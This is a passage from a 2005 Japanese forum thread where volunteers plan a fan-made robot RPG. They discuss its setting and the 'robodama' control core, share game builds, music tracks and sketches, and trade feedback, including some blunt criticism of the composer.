・ゲーム開始と同時に開戦だと話がだれる。
・最初は平和だった主人公の島が、終盤危機にさらされると面白い

★導入部案1 孤児院の主人公
>>361->>362

今決まってるのはこれだけなので、お気軽にご意見下さい。
特に・決戦へと主人公を導く、強制イベント・最終決戦を盛り上げる話
を募集中です。

サブシナリオも募集中
>>149-154

367 :名前は開発中のものです。:2005/09/23(金) 00:17:55 ID:aAJqMNcT
>>361-362
設定乙。
ただ、地上げ屋如きがロボ持ってるのって、当初の「ロボは高価」ってのと矛盾しないかな

368 :ドリームリーダー763:2005/09/23(金) 01:47:11 ID:MPSGOVae
SVに乗ってランブリングでブイブイ言わせております

ところで明日主に8さんとチャットをおこないたいのですが大丈夫でしょうか

369 :nana:2005/09/23(金) 03:31:19 ID:UUaYu1iT
なるほど、主人公の過去話ですか。
孤児ネタはジラルダか傭兵でやるかな、と思ってたけどこれはこれでいいですね。
これをやるなら途中で回想する方がいいと思う。>>364に同意。

>>367
クエストシステムと絡めて、相手は賞金稼ぎみたいな連中ということでもいいかも。
ただそれとは別に、ロボットの価値は改めた方がいいかもしれません。
車両程度に。

>鳥が来てドカーンで大陸に行って親友に再開。
このドカーンで孤児院が倒壊したことにすると一気にギャグRPGになるね

>JUNさん
アイキャッチ作曲きぼん

370 :名前は開発中のものです。:2005/09/23(金) 15:54:35 ID:metCISVM
個人的要望だけど、主人公のロボに「核」になる部分が欲しい。

現行の構想だと、パーツとか兵装とかを次々交換して強化していくわけだが
それだと、どこか使い捨てみたいで「オレの乗機!」という愛情意識が薄くて
ストーリー展開がもう一つ熱くなりきれない気がする。
コクピットなり、OSなり銃器管制システムなり、親友が自信を持って作った
どれだけ機体を改造しても「変化しない場所」の設定があっても面白いと思う。

んで、一度戦闘で大破した主人公機を親友が修理した際に、こういったシステムも
VerUPして、戦闘コクピットビューのレイアウトが一新、機体性能も大幅上昇してたら、
ヒーローアニメみたいでカッコイイんではないかw

長文妄想gome

371 :JUN:2005/09/23(金) 17:18:54 ID:gYYc0DpJ
久々のネタ投下

>>369
【アイキャッチ】
http://aploda.com/dl.php?mode=pass&file_id=0000031325

372 :8 ◆jS1vbFJDVk :2005/09/23(金) 19:05:52 ID:FdlXPSS7
向き固定バグ修正。
ttp://www.geocities.jp/robotrpg2ch/g/drive16.zip

>>366
まとめサンクス。
>>370
変化しない部分もそうですが、機体のどこを
改造できるようにするのかも
はっきり決まってない状態なんですよね。
そろそろ決めていった方が良さそうでしょうか。
>>371
GJ!さっそく使ってみたいです。
実装進めていきますね。

373 :名前は開発中のものです。:2005/09/23(金) 21:27:56 ID:cH0M4sg6
>>370
動力等を不思議パワー(魔鉱石)か
普通のエンジン等のリアル系にするかで色々と変わりそう

どっちにせよブラックボックス化すれば、
ロボ単品の価値が相対的に上がるし
親友が独力でそれを作ったとなれば、おのずと愛着も湧く?

なんにせよ、ロボで使われる技術を決めない?
魔法と工業の合いの子、鉄と蒸気のローテクマシン、
現代的に複雑な制御をソフトで行なうハイテクちゃんなどなど

ロボまわりの設定がきまらないとシナリオも書けなくなくなくない?

374 :名前は開発中のものです。:2005/09/23(金) 21:42:21 ID:BTPqa4II
ろぼだまって不思議アイテムがあるなら
それ以外は持ち込まないようにしないと
なんで魔法を禁止したのか分からなくなる

375 :ドリームリーダー763:2005/09/23(金) 22:20:39 ID:ZqV0bGF/
チャット繋がんない
タカミンが落ちているのか

376 :8 ◆jS1vbFJDVk :2005/09/24(土) 00:09:27 ID:V0SbEHmx
>>375
今戻りましたスマソ
>>373-374
普通のロボは機体の各部パーツにチップを
セットで取り付けて、動作制御をしている
(パーツ交換の際はチップ同士の互換性が重要)
のに対して、主人公ロボはチップを複数組み合わせた
新しい制御機構「ろぼだま」を使っているので、
機体各部にチップを取り付ける作業が不要となり
パーツを交換するだけで済んでしまうとか。
自分でも理論が合ってるのかよくわかってませんが、
こんな感じでろぼだまを主人公ロボの「核」として
確立しておくというのはどうでしょうか?

377 :ドリームリーダー763:2005/09/24(土) 00:48:01 ID:HyzRKGC/
S.L.A.I.やってたらもうこんな時間
>>8さん
スイマセンではまた明日以降で

>>373-374
自分はパーツ交換とかじゃなくて(武器とかは交換だけど)スパロボみたい、
というかA.C.Eのようなパラメーターを上げたらその逆に位置するパラメーターが若干下がるみたいな、
装甲を付け足したり、軽量化しようとしたりロボの微調整を繰り返ししているイメージがあるなぁ

378 :zk:2005/09/24(土) 14:44:13 ID:90thOaof
ろぼだまにキャパシティーを用意しておいてそのキャパシティー内で武器を装備、
機体バランスをいじればいいと思った。

(主人公機体のろぼだまはもちろん話が進むにつれて成長するパターンで。)


379 :名前は開発中のものです。:2005/09/24(土) 15:47:55 ID:wT8HetmV
なんでそこまでろぼだまにこだわるんだろう。

380 :名前は開発中のものです。:2005/09/24(土) 16:23:07 ID:tFIprWQK
・「生きてるろぼだま」に受け入れられたパイロットだけがろぼだま仕様のロボットを動かせる
・「ろぼだまの破片」をパーツの間接に注入すればハリボテも動かせるようになる
・ろぼだま仕様ロボットは歩行で燃料を消費しない
・「ろぼだま」そのものの強度は弱い
・自然国には「ろぼだま」を採掘する環境が全く無い

こんな感じで頼む

381 :名前は開発中のものです。:2005/09/24(土) 16:38:30 ID:wT8HetmV
もうろぼだまが意思を持って喋るようにすればいい。
アスラーダみたいな感じで。
ラスボスは、戦場からろぼだまを奪い集める中立国の傭兵集団のボスで、
機体の中に大量のろぼだまを積んで構成される巨大ロボ。
最後は主人公のロボが勝手に動いてみんなの思いを受けて突撃(笑)


382 :名前は開発中のものです。:2005/09/24(土) 17:00:57 ID:tFIprWQK
>>381
勇者シリーズ結構じゃないか。

383 :名前は開発中のものです。:2005/09/24(土) 17:17:19 ID:wT8HetmV
勇者シリーズは悪くないけどさ、
リアル戦争モノにするのか、不思議パワー満載勇者モノにするのか、
その方向性はハッキリしていかないと後でグダグダになると思うんだけど。

384 :名前は開発中のものです。:2005/09/24(土) 18:19:18 ID:hVI+JHNM
>>383
8氏の提示してる世界観を見る限り、リアル戦争ものにはならないでしょう。
魔法を取り出したり、一から十まで不思議パワーに頼ったりはしないだろうけど
設定にあいまいな部分があってもいいんじゃないだろうか。

8氏には、>>323以上に詳細な「ロボのありかた」の設定を作っていただきたい。

・ロボはどうやってできるのか
工場で作る?職人の手作業?量産化は?ICチップ等、精密機械は使われる?

・ロボはどの程度世間に受け入れられてるのか
軍事・警察にのみ使われてるレベル?車レベル?ロボは町で仕事をしたりする?

・ロボの動力は
エンジン?不思議パワー?

・ろぼだまとは何か
主人公の友人が発明した、特別なものなのか?主人公ロボは他のロボとはどう違うのか?

これだけ決まれば、もう不毛な意見のループに陥る事もないでしょう

385 :名前は開発中のものです。:2005/09/24(土) 19:04:19 ID:IViXBtju
アスラーダはサイバーフォーミュラ

386 :名前は開発中のものです。:2005/09/24(土) 21:49:06 ID:PUy6pDpO
>>323の貝殻回路でちとアイデア

普通の貝殻は炭酸カルシウムの結晶だが
ある特殊な貝は珪素(ケイ素、半導体に使われるシリコン)で殻を作る
でそれを集積した電子頭脳にあたるものがろぼだま

大量生産品は養殖物のシリコン貝(量産機用。加工しやすい
一品物は天然のシリコン貝(特殊機用。加工し難い

387 :ドリームリーダー763:2005/09/24(土) 22:17:13 ID:s/jzWisx
チャットおながい

388 :名前は開発中のものです。:2005/09/24(土) 22:22:33 ID:tFIprWQK
>>386
山岳地帯の多い宗教国がロボット生産効率最高って設定なのでは?

389 :名前は開発中のものです。:2005/09/24(土) 23:26:55 ID:PUy6pDpO
>>388

>>323だと動力は「鉱石エンジン」で鉱石が宗教国産
ろぼだまの遺跡遺品が見つかるのも宗教国
つまり動力源と過去の技術は宗教国独占

ただ技術の解析は中立国が抜きん出ている
帝国は国力を背景に大量生産が得意
自然国は伝統工芸的な一品物が得意

みたいに各国家ごとにロボの特性出すと国家の特性もわかり易いし
宗教国にろぼ独占させると戦争にならん

390 :8 ◆jS1vbFJDVk :2005/09/26(月) 01:00:25 ID:CMzLXrk3
画像カードもりもり実装中。今あるイラストはほぼ全部使います。
>>378
限界重量ってことでキャパシティを用意して、
その中で装備を変更できるように、というのはどうでしょう?
>>380-384
俺の考えるロボのあり方はこんな感じです。
・作業機械の技術は古来から研究されていた
・ロボットはそれなりの工場・工房で生産されている
・ロボット製造組合がパーツ規格の統一をしているので、別の工場製パーツを一部に使っても無問題
・数十年前からチェアード(操縦者露出型)は作業用として商品化され、世間には広く知れ渡っている
・アーマード(操縦者格納型)は帝国が新造。世間には「軍用機」として認知、まだまだ珍しい
・どちらも業者や軍人の持ち物という認識が強く、一般人が乗り回すことはほとんどない
 (パワーショベルなどの大型特殊車両に似たニュアンス)
・だから子供に大人気(大きいお友達にも大人気)
・動力は鉱石の溶液をガソリンのように燃やすエンジン
・ろぼだまは貝殻回路の集合体(>>386さんのネタ採用)、主人公と親友の発明
 (従来のロボットは回路を機体全体に配置して操作制御している)
・集合型回路のろぼだまは全身型回路に比べて操作レスポンスが段違いに速く、
 操縦者の望む動きを忠実に再現してくれる
・しかし、シナリオ序盤は純正品に質で劣るジャンクパーツを多用しているので
 他のマシンとどっこいどっこいの性能に落ちてしまっている
 (逆に言えば、ジャンクで組み立てたロボが純正品並みによく動くということ)

突っ込み待ち。
>>389
帝国の物量作戦に質で対抗する自然派という構図が
わかりやすくていいですね。

391 :名前は開発中のものです。:2005/09/26(月) 07:54:28 ID:w4Id/mHg
http://you-kitamikado.hp.infoseek.co.jp/flash/nomaneko.html

392 :名前は開発中のものです。:2005/09/26(月) 18:45:46 ID:Fbya+DUP
メタルマックスみたいに、重量が増えるとHP(装甲)が減るってのが好き

393 :名前は開発中のものです。:2005/09/26(月) 18:50:16 ID:Fbya+DUP
>>390
あ、あと突っ込み。
>>・動力は鉱石の溶液をガソリンのように燃やすエンジン

ロボは車軸を回転させるだけの簡単な動力じゃないんだから、車や飛行機みたいな

爆発エネルギー→回転エネルギー  っていう単純な動力変換じゃなくて、

爆発エネルギー→回転エネルギー→電力→機体の駆動

みたいな複雑なエネルギー変換が必要だと思うのです。
というか、ようは電力で動いてるのか、はたまた未知のエネルギーで動いているのかてことになるはず。
電力だったら、たとえば手動(手回し式)でも作れないことも無いので、シナリオのネタになりそーな。

394 :名前は開発中のものです。:2005/09/26(月) 23:01:12 ID:pOYujLp1
マイトガインは玩具を売るために動いてるんだ。理屈じゃない。

395 :8 ◆jS1vbFJDVk :2005/09/27(火) 23:56:52 ID:0oXXlHH4
画像カード実装、次回うpは金曜予定。

>>392
あんまり似せるのもアレですが、
ニュアンスは取り入れたいですね。
重量とパラメータの関係とでも言いますか。
>>393
なるほど、だったら電気の方がいいかもしれませんね。
戦闘中に「手回し発電」で体力使ってドライブ回復とか、
いろいろネタが思い浮かんできます。

396 :8 ◆jS1vbFJDVk :2005/09/30(金) 01:51:23 ID:xw2Of+9q
ひとまず更新。画像カードは随時追加しますので、
それまでトイレにでも入って待っててください。スマソ
ttp://www.geocities.jp/robotrpg2ch/g/drive17.zip

397 :( ´∀`) ◆9mfk.Z6Wmc :2005/09/30(金) 22:20:25 ID:2gxLpFr2
前から思ってたんですけど、段差のあるマップ、
違うジャンプ方法にした方がいいと思うのです
イベントが多いせいか、重くて動きが鈍くなります

398 :8 ◆jS1vbFJDVk :2005/09/30(金) 23:28:03 ID:Q7pR58Nr
>>397
お久しぶりです。
重いのはちょっとマズいですね。メモリ買い替えてry
改善策が見つかるまでいったんイベント省いて
軽くしておきますので、ご容赦ください。
その更新ができるのも来週になりそうでスマソ


399 :名前は開発中のものです。:2005/10/01(土) 00:25:51 ID:r9Au4s4Q
画像カードを入手した後
ずっとウィンドウが表示されないままになる(モノローグ風のまま)
あとうんこの方のトイレが広すぎジャマイカ?
あんなんじゃ落ち着いてうんこできんようんこ

400 :名前は開発中のものです。:2005/10/01(土) 02:44:28 ID:mGfVGiR1
GJ!そして乙!
画像カードおもろいなあ。

401 :名前は開発中のものです。:2005/10/01(土) 04:56:45 ID:1/QS0d4P
シナリオ書いてみたいんですが、需要あります?

402 :JUN:2005/10/01(土) 09:57:42 ID:BZWWcDrJ
>>401
ありです!とっても有りです!

>>366に現在決まっているシナリオ概要が
>>390にロボ周りの設定がまとめられているので、参考にしてください。

そろそろ主題歌が出来そうです。
前々から作っていたBGM数曲もできてきたので近日公開。乞うご期待



403 :zk:2005/10/01(土) 13:51:52 ID:BEoHTdgE
トイレの落書き・・・。



404 :nana:2005/10/01(土) 15:00:57 ID:0Scqr8mR
共同制作系のイベントとしてはあまりにありがちですが、
PCがお亡くなりになりました。

まぁ僕は大してデータを作ってないのでそう問題は無いと思います.
主人公の矛倉とweb関係とツクールXPは死にました。
ああタイトルロゴもあったか。

あとチャットとか満足に出来ないかも。

8っつぁんもマジ気をつけて!
特に、お婆ちゃんとかお母さん要注意!
コンセントはアロンアルファで固定オススメ

405 :8 ◆jS1vbFJDVk :2005/10/01(土) 21:28:29 ID:H6laWM41
>>399
スマソ トイレの面積込みで修正しておきます。
>>400
ありがとうございます!次はカード増やして
もっとベラベラ見られるようにしますので。
>>401
おお、需要あります。ぜひとも。
実装するのはちょっと後になると思いますが、
それでもよければよろしくお願いします。
>>402
ついに完成ですか。BGMも乙です。ワクワク
>>403
お察しください。
>>404
早い復帰を願いつつ、まとめがんがります。
うちはコンセントマジ大丈夫。

406 :名前は開発中のものです。:2005/10/01(土) 21:46:28 ID:dDClTKeJ
>>405
今回はなかなかGJだね。
画像カードみたいな良ネタの追加を希望しつつROM

407 :401:2005/10/02(日) 06:26:42 ID:XKIv8wPX
ありがとうございます。
とりあえず、ロボ起動までを書いてみてスレの皆さんの眼鏡にかなえば
続きを書かせていただきます。

408 :JUN@秋のうp祭り:2005/10/02(日) 22:56:56 ID:AscNqeEu
ひさびさにネタ投下
渾身の一作です。ぜひ聞いてみてください。感想もらえると嬉しいです。

【戦火のあと】
http://aploda.com/dl.php?mode=pass&file_id=0000034438

戦いの後、家や家族を失いながらも立ち上がろうとする人々のイメージ。村BGM?
明日もうpします


409 :( ´∀`) ◆9mfk.Z6Wmc :2005/10/02(日) 23:25:23 ID:OWoTbEVq
>>408
哀愁があって、それでいて希望が感じられる格好いい曲ですね!
でも5Mってちょっと重過ぎるような・・・

410 :名前は開発中のものです。:2005/10/03(月) 07:06:45 ID:dJ52xRPM
音楽で5M…

411 :名前は開発中のものです。:2005/10/03(月) 08:01:36 ID:BrohxsJh
>>408
こんな、ゲームで使うことを全く考慮してないデータ挙げて何がしたいの?
オナニーは一人でしてね。

412 :名前は開発中のものです。:2005/10/03(月) 08:13:46 ID:Ic8HhDM2
>>411
てめえこそ何もできないなら一人でオナニーしてろ無能なクズ。
>>408
とはいったものの、流石に5Mは多すぎかと。

413 :名前は開発中のものです。:2005/10/03(月) 08:21:49 ID:zyWtMUW3
単なる煽りは死ね

414 :JUN@秋のうp祭り:2005/10/03(月) 10:01:33 ID:+7ddl+TS
間違って最高音質でエンコードしちまいました。スマソ
改めて

【戦火のあと】
http://aploda.com/dl.php?mode=pass&file_id=0000034573
(低音質版)
http://aploda.com/dl.php?mode=pass&file_id=0000034574

上のが2M強、下のが1M弱になります。
今後、できればMIDI形式に直したいですが...未定。

415 :名前は開発中のものです。:2005/10/03(月) 17:56:38 ID:lv3Wtg9+
おお、MIDIとかをHDレコーディングしているのとは違うのか?

416 :JUN@秋のうp祭り:2005/10/03(月) 20:33:16 ID:gxhVwk71
今日も一品うp

【ホームタウン】(2.4M)
http://aploda.com/dl.php?mode=pass&file_id=0000034731

明るくにぎやかな街のイメージ。
初めてろぼだまのゲーム画面を見た時、直ぐこのメロディーが思い浮かびました。
約半年暖め続けた、自分にとっては思い出深い曲です。

感想求む
そして皆さんもネタ投下を!小ネタでもストーリーでも絵でも音楽でも、なんでも良いので!!
明日もうpします

417 :JUN@秋のうp祭り:2005/10/03(月) 20:37:32 ID:gxhVwk71
>>415
これはサンプラーという、生楽器の音をシュミレートするソフトを使って作ってます。
今はMIDIってほとんど使われてなくて、DAW(デジタルオーディオワークステーション)というものを使って、サンプラーの音で作曲するのが主流なのです。
私の曲も、「旅路」「戦闘」など初期のものはMIDIを使ってますが、最近のは全部DAWでやってます。
音色が全然ちがうので、聞き比べてみてください。

418 :JUN@秋のうp祭り:2005/10/03(月) 20:41:24 ID:gxhVwk71
連投スマソ
今日か明日、チャット希望
ちょっとで済むので

419 :111:2005/10/03(月) 21:48:35 ID:ql+eXfKR
>>361-362の・ロボ襲撃から数日後、 の後だと思ってください

・島を出た親友はある小さな町に着いていた。
 "ロボが最初に誕生した町"だ。
 鉱山採掘用に作られたのが第1号だ。
 今では当時の活気が無くなったとはいえ、
 現役バリバリで稼動している工場もある。
 最新とは言えない様な設備なので安くて有名。

・親友はどうにか工場に雇ってもらい、
 働いた。必死に働いた。自分の夢のために。
 技能や知識も増え、だんだんと周りも認めてくれるようになり
 夢への一歩のためにこっそりジャンク品集めたりする。
 自分達の初めてロボを作る。やはりこれには感動する。
 日を増すごとに形を見せてくるロボ。
 しかし、メインとなるシステムが決まらない。
 決まらないと言うより、まったく思いつかなかった。
 今までこんなことはなかった。
 工場での仕事もミス連発のオンパレード。
 あんなに好きだったロボを見るのにもやになってきた。
 自分の限界を感じ、仕事をやめようとも思った。

420 :111:2005/10/03(月) 21:49:24 ID:ql+eXfKR
・そんな中、見知らぬ道をひたすら歩いていた。
 いつの間にかクロスロード(十字路)に立っていた。
 そこには音痴なブルースを口ずさむ小悪魔がいた。
 「ひっひひ Youが着たloadはこっち。
  Youがこれからgoする道はこっちの何もないloadか、すぐ崖のload。
  でも、Youはにはこっちのloadにgoする資格もあるのdeath」
 その道の向こうの方では何か分からないが、「すごいもの」が置いてあると感じた。
 直感で、この道に行くしかないと思った
  「おっといい忘れたのdeath。この道に行くにはyouの魂を置いていかなければならいのdaeth」
〜うまいのが思いつかない('A`) 〜
 悪魔に魂を売ってしまった親友。
 そこで目が覚めた。起きたときにはもう、
 『ろぼだま』が頭の中で完成されていた。
 それから三日三晩工房に篭りろぼだまを完成させた。

・メインの部分が大体完成し、完成の目途が立ってきたので主人公に伝書ロボ鳥を送る。
 

前フリが長くなったけど言いたかったことは
『ろぼだま』は親友が作るが、神憑り的なものによって作ることができた、と。
>>367
地上げ屋はたまたまそこら辺にキーの刺さったままのロボがいて
拝借してしまったなんてのはどう?
>>398
孤児院いいっすねぇ〜セピアモードもあるということは
回想シーン作る気満々っすねぇ!!

421 :名前は開発中のものです。:2005/10/03(月) 22:21:29 ID:Ic8HhDM2
地上げ屋なんだから、土地の抵当に奪ったロボとかいいんじゃないかと。

422 :JUN@秋のうp祭り:2005/10/03(月) 22:44:41 ID:gxhVwk71
(チャット中)

423 :名前は開発中のものです。:2005/10/03(月) 23:51:41 ID:0ty+hDgB
地上げ屋は普通に借金取りでいいでしょう。
開発計画とかの背景が語られるなら別ですが
そうでないならむしろ想像しにくいし。

で、ロボは相手の雇った人達ってことにしてゲームシステムを絡める。

…前にも同じこと言ったような気がするけど気のせいか。

424 :名前は開発中のものです。:2005/10/03(月) 23:57:24 ID:0ty+hDgB
…気のせいじゃなかった。

425 :いつかの190:2005/10/04(火) 01:49:09 ID:CIeP1hEN
http://up.php-s.net/up.php?id=tabiji&time=1128357765&ext=.jpg
JUN氏の曲、戦火のあとを聞いていたらこんなイメージが出てきました。
素敵な曲ですねぇ…

426 :8 ◆jS1vbFJDVk :2005/10/04(火) 04:49:53 ID:ktfRTjMU
修正しました。
ttp://www.geocities.jp/robotrpg2ch/g/drive17.zip

>>408,416
重さはともかくGJ!midiができ次第実装させていただきます。
>>419-420
だめだ、親友が死ぬラストしか思い浮かばない…
悪魔や神に頼るより、主人公との思い出やひらめきから
ろぼだまが出来上がるような構成ではダメなんでしょうか?
>>423-424
地上げ屋に雇われたロボドライバーで大丈夫でしょう。
>>425
音楽と絵のコラボレーション。GJです!
戦火のあと、この絵とセットでイベント用BGMとしても使えますね。
うーん、シナリオにどう組み込もうか。

427 :名前は開発中のものです。:2005/10/04(火) 20:49:11 ID:bd33Vbzi
>>425
GJ!かっこえー!
曲とのシンクロ具合がすごいですね。他の曲でもキボン

BGM一曲2Mとして、20曲で4M...(汗
とても落とせん
出来は良いのにもったいない...
別口でmp3をダウンロードとか、できないですかね?


428 :名前は開発中のものです。:2005/10/04(火) 21:48:06 ID:D6uHtXtj
>>426
参考になるかどうか分からないですが、
滑り降りの判定を並列処理イベントに変えてます。
マップの作成に少し手間かかるのがネックかもしれません。
ttp://aploda.org/dat2/upload47167.zip

429 :名前は開発中のものです。:2005/10/05(水) 00:53:12 ID:cZxBLEhR
>>427
ちょっw
4Mなら落とせるし

430 :名前は開発中のものです。:2005/10/05(水) 18:15:14 ID:X1kvohCR
>>408
GGGGGGGGGGGJ!!!!!!!!!!
やばい感動した

431 :zk:2005/10/05(水) 19:25:23 ID:pPpxD1XH
感涙した

432 :名前は開発中のものです。:2005/10/05(水) 22:42:59 ID:N0Tz0cS8
もう過疎ったか

433 :nana:2005/10/06(木) 00:01:42 ID:tVLqBZPo
コンテムービーちょっとだけ
http://www.uploda.net/cgi/uploader1/index.php?dlpas_id=0000035470
パスはこの前チャットで生まれた萌えキャラの名前を半角英数で。「たん」込み

全然間がもたねぇ〜ッ! ダメだこりゃ
JUNさんや8さんはどんな風な演出を考えてました?

あと某ベースさんはどんな感じか見せてくれ。
それと演出もできると考えていいの?

434 :名前は開発中のものです。:2005/10/06(木) 00:34:55 ID:kdNekKPT
よくわからんが萌えキャラ出すの?出すの?

435 :名前は開発中のものです。:2005/10/06(木) 00:36:16 ID:L7PcgZGX
>>420
「俺と悪魔のブルース」だな

436 :nana:2005/10/06(木) 00:44:51 ID:xtQvdQPD
>>434
現時点ではネタ

ただし、記号的な萌えキャラを出すかは別として
精一杯魅力的には描くつもりですよ。

437 :8 ◆jS1vbFJDVk :2005/10/06(木) 00:52:24 ID:oly1seqQ
次は文書カード実装に取り組もうと画策中。
カードってネタとシステムの両立として優秀ですね。数も増やしやすいし。
あとはメニューに「カード」の項目を追加できれば…
>>428
おおっ、助かります。
スクリプトの内容も、なんとか把握できました。
>>432
「まだ過疎ってる」とも。
あんまり人が多いのも考えものですが。
>>433
そのパスはかんべんw内容は普通に悪くないだけに。
俺のコンテ…やりたいけども時間と技術がorz
>>434
今後の展開にご期待しないでください。
どうなるか俺にもちょっとわかんない状態ですので。

438 :名前は開発中のものです。:2005/10/06(木) 00:52:45 ID:kdNekKPT
>>436
頑張ってくれ 期待してる

このスレの素材師は、他のオリープには無い独特の良さがあって好きだ。
ぜひ完成させてくれ。待ってる。

439 :名前は開発中のものです。:2005/10/07(金) 19:34:54 ID:F/gXs43+
文書カードの内容はどんなのにするの?
サイドストーリー的なのが読めると、いいなあ

440 :8 ◆jS1vbFJDVk :2005/10/08(土) 01:02:27 ID:ZrOcAM1D
>>439
今のところ
・チュートリアルやヘルプ
・次のダンジョンやボスの情報など、攻略のヒント
・読み物ネタ(サイドストーリー、子猫の肉球、トイレの落書き集など)
こんな感じで実装するつもり。
ひとつだけでは意味がよくわからないけれど、
集めることで隠し要素のありかがわかる
「暗号文書」なんかもやってみたいと思ってます。

441 :nana:2005/10/08(土) 16:53:31 ID:X3eBeRur
コンテ動画より抜粋、若かりしころのアルウィン
up.php-s.net/up.php?id=tabiji&time=1128757654&ext=.jpg
通称、うわあぁぁああアルウィン

442 :名前は開発中のものです。:2005/10/09(日) 00:52:13 ID:E+3ie1z2
>>441
なんじゃこりゃw
動画ってことはOPにアニメとかつくのかな?
期待期待。

443 :名前は開発中のものです。:2005/10/09(日) 13:47:48 ID:j6CfPIq4
無理無理。絶対無理

444 :zk:2005/10/09(日) 19:46:34 ID:SRBaivCe
さっき描いたロボのデザイン、超ヘボイんだけど需要あります?

445 :名前は開発中のものです。:2005/10/09(日) 19:55:59 ID:LaIqF5ZC
>>444
D-TINとかヘボイのは山ほどあるから、なんでもドントコーイ!

446 :zk:2005/10/09(日) 20:49:39 ID:SRBaivCe
まとめサイトにうpしてみます・・・。
超しょぼいけど・・・。

447 :名前は開発中のものです。:2005/10/09(日) 21:26:59 ID:LaIqF5ZC
>>446
ドリチン絵師よりはうまい。GJ。
とりあえず右と左で足の形状が違うのはなんとかしよう。

448 :名前は開発中のものです。:2005/10/09(日) 21:28:04 ID:86dLdGkK
>>446
はっきり言おう。下手だ。
...だけどなんというか、ミョーな味がある...
このまま「らくがきロボ」とかいって出すのもありかもしんない
乙!

JUN氏大丈夫か
煽りに負けずに新作キボン



449 :名前は開発中のものです。:2005/10/09(日) 21:38:15 ID:LaIqF5ZC
おいおい、それじゃ「D-TIN」もらくがきロボだろ?

450 :名前は開発中のものです。:2005/10/09(日) 22:05:00 ID:86dLdGkK
ノートの線をのこして、子供達の書いたロボの絵として出す

451 :名前は開発中のものです。:2005/10/09(日) 22:16:15 ID:GouF6SAN
>>446
ガンダムとアッガイと旧ザクがファイナルフュージョン?
こういうのを子供時代シコシコとノートに書いてた奴が今集まって
このプロジェクトやってるんだと思う。

なんつーか初心を思い出したよ
他の奴は全然違うかもしれないが

452 :名前は開発中のものです。:2005/10/09(日) 22:22:45 ID:86dLdGkK
ハゲドウ!
良い事言った!

453 :名前は開発中のものです。:2005/10/09(日) 22:35:34 ID:LaIqF5ZC
>>451
全米が泣いた。
けど、現在進行形で書いてるような奴の方が多いんじゃないか?

454 :JUN:2005/10/10(月) 00:32:36 ID:x1Iy0lrB
なんかスランプってしまったスマソ
植松伸夫氏はすげえなあ...

【切ない】
http://aploda.com/dl.php?mode=pass&file_id=0000036736

>>nanaさん
悲しい曲を作ろうとしたんですがこんなのになってしまいました...
また挑戦してみます

>>ベ氏
イトケンは俺には無理です
すごすぎます

455 :zk:2005/10/10(月) 08:41:30 ID:lh0jqqHZ
ここでひとつ皆さんに謝ることがあります。

実は最初にあれを書いたのは厨房のころです。(つまり復刻バージョン)
当時はポリゴンモデル用の下書きだったんだが・・・。

どっかに3日かけて描いた元絵があるはず・・・。

456 :名前は開発中のものです。:2005/10/10(月) 10:08:18 ID:UlTDN2PT
>>454
これはGJだ...聞いてて気持ち良い。
でも「切ない」というよりは「悲しい」とか「動揺」のが合うような。
悲しい身の上話をするときとか、ぴったりかも

>>455
無問題。
もっと晒すべし



457 :JUN:2005/10/10(月) 21:18:37 ID:32gXvCl6
【変人たち】
http://www.uploda.net/cgi/uploader1/index.php?dlpas_id=0000037022
pass [robo]

メタルマックス的、愛すべき変人のテーマをジャズ風に。

>>456
ありがとうございます。
感想は命の源泉です。
これを切ないと思ってしまう自分の感性は、相当怪しいのかもしれません...

>>190
遅くなりましたが...感激いたしました。
これですよこれ!自分が思い描いてたのもこんなイメージです。
超GJ!(またおねがいしたいなあ)

私の作った曲を、ツクールXPで使われている音源「Microsoft Wavetable GS SW Synth(MSGS)」でうまく聞けるように編曲していただける人を激しく募集します!

用意するもの:Windowsの入ってるパソコン MIDIシーケンサーのソフト(フリーもあると思う)
やりかた:
1)私が作った曲のMIDIファイル(音色は全部ピアノ)をダウンロードします
2)シーケンサーでそれを読み込み、音源をMSGSに設定します。MSGSはDirectXについてます。
3)うまく聞こえるよう、各トラック毎に音色をつけます
4)ループさせます

個人的には、初期配布時にはMIDIを使っておいて
余裕の有る人向けにmp3パックを配ったりしたいなあと。
何十メガもかけてこんな曲ダウンするひとが何人いるかは、甚だ疑問ですが...
よろしくおねがいします。

458 :名前は開発中のものです。:2005/10/10(月) 22:12:46 ID:MCq0zy5i
www.kazamit.com/rpgxp/

ここのXPの特徴にサウンド関係の情報がありました。参考に。
ダウンロードはMP3が重いけど動作はMIDIが重いのか…悩みどころだね

459 :名前は開発中のものです。:2005/10/10(月) 22:55:45 ID:HfGucz/9
JUNに感想
君の曲は調性感が無さ過ぎてつまらん。
ベースラインが動かなくて単調。
ダメダメですね。

>>戦火のあと
まあまあ
フルートの表情が変
ベースの動きがおかしい
カウンターメロディーが欲しい 隙間空きすぎ

>>ホームランド
進行はけっこういい
後半の主題がうるさい
ループする前の繋がりが変

>>切ない
まあまあ
でもこれで切なさを表現できてると思ってんの?
ピアノが単調過ぎ
後半もっと展開しても良いと思う

>>変人たち
最低
なんでベースが一曲全部同じな訳?
ピアノがわけわからん

和声の勉強すれ
基本が出来てなさすぎ


460 :名前は開発中のものです。:2005/10/10(月) 22:59:23 ID:DWhwL3vl
>>459
感想は構わんが空気嫁

461 :8 ◆jS1vbFJDVk :2005/10/10(月) 23:27:23 ID:y2qDgeuA
文書カード実装。体調崩したのでちょっと手抜き風味。
ttp://www.geocities.jp/robotrpg2ch/g/drive18.zip
まとめサイトの残り容量がそろそろピンチ。

>>441-443
うわあぁあああぁぁぁ
OPアニメ、せっかくテーマ曲があるので
どうにか入れてみたいですね。
>>444-446
そこはかとなくジオン風味ですね。乙!
本編登場は難しいかもしれませんが、
画像カードとして使わせていただきます。
>>451-453
あー、そういうのやってるなぁ。
>>454,457
GJ!忘れられた古代遺跡を連想しました。
変人のほうは…今までの曲に比べると印象が薄い…
スランプることは誰にでもあります。ドンマイ!
>>455
ワクワク

462 :JUN:2005/10/11(火) 00:07:04 ID:kfmLmn7N
>>458
ほほう
MIDIにすりゃ万事解決ってわけでも無いのですね
8さん的にはどうなのでしょう?
情報サンクス

>>459
精進します

>>461
ますます努力します...
今聞いてみたら相当ひどいですねこれ。
リメイクしたいです。

なんかリクエストとかあります?
あるとやりやすいのですが

463 :名前は開発中のものです。:2005/10/11(火) 12:31:16 ID:u+axV7wS
音楽は音質落としたmp3に一票
一曲1Mで曲数しぼればなんとか...

>> なんかリクエストとかあります?
ストレートなロックが聞いてみたいです

464 :111:2005/10/11(火) 13:59:59 ID:8Z1LN2Rl
さり気なくこっちでもOPアニメ作ってたけど、
他にも作ってる人がいたとわorz

